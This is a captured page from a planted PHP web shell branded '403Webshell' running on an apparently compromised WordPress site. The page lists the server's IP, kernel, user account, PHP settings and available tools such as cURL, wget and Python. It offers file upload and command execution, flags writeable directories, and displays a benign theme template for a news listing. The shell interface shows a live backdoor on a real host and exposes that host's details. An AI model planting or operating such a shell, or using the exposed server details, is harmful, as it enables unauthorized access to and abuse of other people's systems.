403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.217.71
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaa/www/wp-content/themes/verseau/templates/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaa/www/wp-content/themes/verseau/templates/pages/actualites.php
<?php
    $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;

    $args = array(
        'post_type' => 'post',
        'posts_per_page' => 9,
        'orderby' => 'date',
        'order' => 'DESC',
        'ignore_sticky_posts' => 1,
        'paged' => $paged,
    );

    $query = new WP_Query($args); ?>

    <section class="actualite">
        <div class="container">
            <div class="row">
                <?php if ($query->have_posts()) : while ($query->have_posts()) : $query->the_post(); ?>
                <div class="bloc-3">
                    <div class="img-actu">
                        <?php $url = get_permalink();?>
                        <a href="<?php echo $url ?>">
                            <?php if (has_post_thumbnail()) : ?>
                                <?php the_post_thumbnail(); ?>
                            <?php endif; ?>
                        </a>
                    </div>
                    <div class="contenu-actu">
                        <p class="date">Publié le: <?php echo get_the_date('j F Y'); ?></p>
                        <a href="<?php echo $url ?>" <?= $target ?>>
                            <h3><?php the_title(); ?></h3>
                        </a>
                        <p><?php echo wp_trim_words( get_the_excerpt(), 20, '...' ); ?></p>
                    </div>
                </div>
                <?php endwhile;?>
                <?php else: ?>
                    <h3 class="no-actu">Aucun article publié pour le moment.</h3>
                <?php endif; wp_reset_postdata(); ?>
                <div id="pagination">
                    <?php
                    global $query;
                    $big = 999999999; // need an unlikely integer

                    echo paginate_links( array(
                        'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),
                        'format' => '?paged=%#%',
                        'current' => max( 1, get_query_var('paged') ),
                        'total' => $query->max_num_pages,
                        'prev_text' => __( '« Previous' ),
                        'next_text' => __( 'Next »' ),
                    ) );
                    ?>
                </div>
            </div>
        </div>
    </section>

Youez - 2016 - github.com/yon3zu
LinuXploit